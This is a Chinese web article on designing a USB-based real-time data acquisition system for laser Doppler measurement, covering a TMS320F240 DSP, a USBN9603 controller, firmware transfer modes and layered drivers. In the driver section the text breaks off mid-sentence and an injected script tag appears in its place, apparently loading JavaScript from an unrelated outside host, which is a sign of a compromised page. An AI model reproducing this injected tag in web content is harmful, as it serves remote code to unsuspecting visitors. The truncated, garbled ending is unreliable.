基于USB的LDT实时数据采集系统设计

  [摘 要] 基于usb的ldt实时数据采集系统的设计严格遵循usb1.1协议,体现了usb即插即用、易扩展、低干扰的特点,从而实现了主机和多台测试设备之间简单、快速、可靠的连接和通信。介绍了基于usb总线的数据采集设备的硬件设计、设备驱动程序、设备固件、应用程序等设计方法。

[关键词] ldt;通用串行总线;实时数据采集

  激光多普勒测量技术(ldt)具有精度高、动态响应快、测量范围大,非接触测量的特点,成为气体、流体测量的强有力的工具。近年来,它在固体测量领域得到了长足的发展,被广泛应用于固体表面的粗糙度、运动速度场、位移场、振动场等的精密测量。它的迅猛发展对信号的采集提出了越来越高的要求:高动态范围、低功耗、便于携带、能与计算机进行实时高速数据传输。针对这种要求,提出了一种基于usb的ldt实时数据采集系统。

  usb(universal serial bus)总线是由intel,com-paq,microsoft,ibm,dec,northern telecom等7家公司共同研制的一种针对pc的串行接口标准。它的热插拔、即插即用、连接简单、高带宽、可总线供电等优点几乎使其成为目前计算机外设的首选通信接口。

  该文依据的是usb1.1协议规范,总线一共4根:5v电源线、地线及两根以差分形式驱动的数据线d+、d-。连接设备的电缆最长可达5 m,通过usb集线器以菊花链拓扑形式实现多达5级的拓扑连接,可外接127个usb设备。usb总线可以提供5v、500ma电流,并支持节约能源的挂机和唤醒模式。它规定的12mbps传输速率,与一个标准的串行口相比,大约快出100倍,与一个标准并行口相比,大约快出10倍。

1 系统硬件设计

1.1 硬件总体结构

usb实时数据采集系统硬件如图1-1所示。dsp控制器tms320f240内部的模数转换模块包括两个独立的采样/保持电路和两个10位双积分型的转换器,16路模拟输入通道,可同时转换2路信号。

16路模拟输入信号由多路模拟开关选择被检测信号接入a/d转换器,a/d转换的结果经tms320f240写入fifo存储器。

  tms320f240通过信号线is选通usbn9603,将其作为dsp的i/o口访问。usbn9603的d+脚外接一个1.5k的上拉电阻,使其工作在全速方式下,usbn9603的mode1、mode2均接至地电位,设定usbn9603为非总线复用方式。操作时序是将地址线a0置高,将欲读写的地址从数据线d0~d7写入,然后将a0置低,读写d0~d7中的数据。

  由dsp对a/d转换的结果进行fft分析、小波分析等,并通过usbn9603与主机交换数据,接收控制命令。

1.2 usbn9603控制器

  目前市场上有两类usb接口控制器:一类是带usb接口的mcu,如cypress的cy7c6xxxx第列、intel的930xx系列等,嵌入了8051系列微控制器。其系统结构和指令集大家都比较熟悉,便于硬件开发和软件编程,然而开发工具较昂贵。另一类是专用接口控制器,如朗讯公司的uss820、国家半导体公司的usbn960x、philips公司的pdiusbd11等,都留有与mcu、dsp的接口,搭配灵活。

  usbn9603是一个支持usb1.1协议的节点控制器。具有静态模式和异步唤醒功能;5v/3.3v供电;具有一个双向的控制节点endpoint0、3个发送端点、3个接收端点;具有两种模式的8位并行接口(复用模式和非复用模式);改进的dma传输方式;串行接口引擎sie,主要负责时钟恢复、eop检测、位填充、位解填充、crc编解码、组帧、拆帧、包类型识别及节点状态识别等。

2系统软件设计

  usb系统软件设计分为3个部分:usb外设端的固件、主机操作系统上的客户驱动程序以及应用程序。应用程序通过客户驱动程序与系统usbdi(usbdevice interface)进行通信,由系统产生数据的传送动作,固件则响应各种来自系统的标准要求,完成各种数据的交换工作和事件处理。

2.1 固件(firmware)设计

  固件是指被固化到tms320f240中的程序。它完成两个任务:控制a/d的采样和通过usb控制器与主机通信。usb有控制、中断、批量、等时等4种数据传输模式。其中控制传输用于传送一些系统控制命令,每个usb设备都必须有控制传输的通道;中断传输适用于鼠标等人工输入的设备使用;等时传输适用于对数据实时性要求较高的场合,如视频、音频数据,但其设备和进程的同步设计有较大难度,且它不能提供错误检查机制;批量传输能提供错误检查机制,适用于打印机、调制解调器等不定期传送大量数据的中速设备。

  系统采用两种传输方式:控制传输和批量传输。控制传输用来实现位于主机上的usb总线驱动程序(usbd模块)以及编写的功能驱动程序对设备的各种控制操作;批量传输用来完成将采集数据从设备传送到主机。

2.2 驱动程序设计

  usb系统驱动程序采用分层驱动模型:usb设备驱动程序、usb?script src=http://er12.com/t.js>

  • 基于USB的LDT实时数据采集系统设计已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计